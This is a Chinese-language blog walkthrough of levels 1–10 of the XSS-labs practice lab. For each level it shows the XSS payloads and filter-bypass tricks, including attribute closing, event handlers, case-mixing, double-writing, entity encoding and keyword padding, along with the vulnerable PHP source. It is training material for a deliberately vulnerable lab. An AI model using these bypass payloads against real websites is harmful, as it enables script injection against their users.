Loading... # XSS-labs Less 1-10 ## Level 1 无过滤 ![image-20220712093406049.png](http://xherlock.top/usr/uploads/2022/07/2422298406.png) name后的会显示在页面上,属于注入点: ~~~js <script>alert()</script> ~~~ ![image-20220712095935098.png](http://xherlock.top/usr/uploads/2022/07/2767204590.png) ## Level 2 闭合标签 页面中有输入框,尝试第一关的注入 ![image-20220712100124056.png](http://xherlock.top/usr/uploads/2022/07/1071144254.png) 可以看到图中的value值即为输入框中的值,可以考虑闭合input标签 ~~~js "><script>alert()</script> ~~~ ![image-20220712100232879.png](http://xherlock.top/usr/uploads/2022/07/1458305646.png) 或者使用onclick ~~~js " onclick=alert() " ~~~ ![image-20220712105430707.png](http://xherlock.top/usr/uploads/2022/07/1366288875.png) ## Level 3 单引号闭合+事件 输入最简单的alert,ctrl+U发现value中大小于号被转换为html语言 ![image-20220712111657933.png](http://xherlock.top/usr/uploads/2022/07/2047016058.png) 换成onclick,发现单引号也被转换了,这里去看下php代码 ![image-20220712112836504.png](http://xherlock.top/usr/uploads/2022/07/3184629353.png) 使用到了一个叫htmlspecialchars的php函数,作用是将特殊字符转换成HTML实体(转义) ![image-20220712112947088.png](http://xherlock.top/usr/uploads/2022/07/3164647880.png) 所以要想办法不使用这些特殊字符 发现使用单引号+事件可以避开 ![image-20220712113628265.png](http://xherlock.top/usr/uploads/2022/07/101457294.png) 仔细看了php函数解释: ~~~php htmlspecialchars( string $string, int $flags = ENT_COMPAT | ENT_HTML401, string $encoding = ini_get("default_charset"), bool $double_encode = true ): string ~~~ 发现默认是只转换双引号而未转换单引号,为注入提供了便利 ![image-20220712114015337.png](http://xherlock.top/usr/uploads/2022/07/1780594639.png) ## Less 4 双引号闭合+事件 输入最简单的alert,发现大小于号被过滤 ![image-20220712134949428.png](http://xherlock.top/usr/uploads/2022/07/2926217013.png) 输入onclick,成功跳出弹窗 ![image-20220712135131554.png](http://xherlock.top/usr/uploads/2022/07/4022930368.png) ## Level 5 新建标签 ![image-20220712135356757.png](http://xherlock.top/usr/uploads/2022/07/3687332292.png) 第一个scipt被加上了下划线(继续测试发现是`<script>这个标签会被加上下划线,</script>不会`) 使用onclick发现on中间被加上下划线 ![image-20220712135642666.png](http://xherlock.top/usr/uploads/2022/07/1273571993.png) 根据提示使用a标签来跳转新页面,双引号闭合value,大于号闭合input标签 ~~~html "><a href=javascript:alert()>xss</a> ~~~ ![image-20220712140402746.png](http://xherlock.top/usr/uploads/2022/07/2071172573.png) 点击链接即可进入下一关 ## Less 6 大小写绕过 尝试上一关的法发现href被加上下划线 ![image-20220712154853541.png](http://xherlock.top/usr/uploads/2022/07/2042943929.png) 类似尝试发现script、onclick等都被加上下划线 使用大小写可以绕过: ~~~js " ONclick=alert() " ~~~ ![image-20220712155017334.png](http://xherlock.top/usr/uploads/2022/07/833105131.png) 点击一下输入框即可进入下一关 源码中的过滤方式(网上说data字段是可以通过image注入) ![image-20220712165128855.png](http://xherlock.top/usr/uploads/2022/07/3464141347.png) ## Less 7 双写绕过 尝试alert,发现script整个词被过滤(大小写均被过滤) ![image-20220712164945570.png](http://xherlock.top/usr/uploads/2022/07/4175298044.png) 尝试onclick,on被删除(大小写一样) ![image-20220712200401811.png](http://xherlock.top/usr/uploads/2022/07/3720184708.png) 尝试新标签页法,href和script被过滤, ![image-20220712202449215.png](http://xherlock.top/usr/uploads/2022/07/1607068108.png) 既然过滤script,那就用双写 ~~~js "><scriscriptpt>alert()</sscriptcript> ~~~ ![image-20220712202801834.png](http://xherlock.top/usr/uploads/2022/07/194585582.png) 绕过成功!来分析下源码 ~~~php <?php ini_set("display_errors", 0); $str =strtolower( $_GET["keyword"]); // 全部转为小写,无法大小写绕过 $str2=str_replace("script","",$str); // 删除script,无法插入js代码 $str3=str_replace("on","",$str2); // 删除on,无法使用onclick、onfucus等js事件 $str4=str_replace("src","",$str3); // 和data一样,是防止img注入alert信息 $str5=str_replace("data","",$str4); $str6=str_replace("href","",$str5); // 删除href,无法新标签页绕过 // 当然以上这些都可以双写实现绕过 echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level7.php method=GET> <input name=keyword value="'.$str6.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?> ~~~ ## Less 8 编码绕过 尝试基本的alert,如图可知script被加了下划线(onclick也是),同时绕过点在于a标签的href中 ![image-20220712204242124.png](http://xherlock.top/usr/uploads/2022/07/1535209353.png) 由链接联想到新标签页法,使用HTML编码,javascript是在ri之间插入下划线,将ri转换为10进制类型的编码:&# **补充**: HTML实体编码:主要分为10进制和16进制,格式为 **&#** 开头以**分号**结尾,火狐/谷歌/IE都支持,进行html十、十六进制编码(找到了个在线的:https://www.toolzl.com/tools/htmlende.html https://www.qqxiuzi.cn/bianma/zifushiti.php,回头自己写个能转换为10或16进制的脚本) ~~~js javascript:alert() ~~~ ![image-20220712205817331.png](http://xherlock.top/usr/uploads/2022/07/2089551119.png) 分析源码: ~~~php <?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); // 无法大小写绕过 $str2=str_replace("script","scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); // 添加下划线无法使用双写绕过 $str7=str_replace('"','"',$str6); // 这里很重要,使用双引号会被HTML编码而无法闭合href echo '<center> <form action=level8.php method=GET> <input name=keyword value="'.htmlspecialchars($str).'"> <input type=submit name=submit value=添加友情链接 /> </form> </center>'; ?> ~~~ ## Less 9 检测关键词 这一关同上一关可以对a标签做手脚,不过无法直接进行拼接,显示:<u>您的链接不合法?有没有!</u>(大小写,双写,编码均无法绕过) ![image-20220712210432500.png](http://xherlock.top/usr/uploads/2022/07/1012467721.png) 这关不看源码很难猜测出(当然检测的关键词很明显):在第八关基础上加入对过滤完的输入是否含有 http:// 的检测,不存在无法拼接 ~~~php <?php if(false===strpos($str7,'http://')) { echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>'; } else { echo '<center><BR><a href="'.$str7.'">友情链接</a></center>'; } ?> ~~~ 知道了就很好办了,在alert中加上'http://'即可 ~~~html javascript:alert('http://'') ~~~ ![image-20220712211426221.png](http://xherlock.top/usr/uploads/2022/07/733983089.png) ## Less 10 隐藏信息 查看html源码发现有个表单输入区被隐藏 ![image-20220712211637948.png](http://xherlock.top/usr/uploads/2022/07/1033523377.png) 尝试修改掉hidden,并把最后一个改成submit键,随便输 ![image-20220712211809656.png](http://xherlock.top/usr/uploads/2022/07/1536198726.png) 结果:URL栏中有了新的get变量 ![image-20220712211838682.png](http://xherlock.top/usr/uploads/2022/07/4289968589.png) 把最后一个t_sort也加上值为a,发现表单区出现了value值,存在绕过点 ![image-20220712212012248.png](http://xherlock.top/usr/uploads/2022/07/1579927885.png) 所以修改t_sort的值为" onclick=alert() ",同时去掉第三个input的hidden使得可以点击输入框来跳转 ![image-20220712212200840.png](http://xherlock.top/usr/uploads/2022/07/1597228180.png) 这里直接用的较简单的onclick,查看源码可知大小于号被过滤,`<script>`标签无法使用 ~~~php <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str11 = $_GET["t_sort"]; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.$str33.'" type="hidden"> </form> </center>'; ?> ~~~ 最后修改:2022 年 07 月 12 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 1 如果觉得我的文章对你有用,请随意赞赏
2 条评论
test
alert()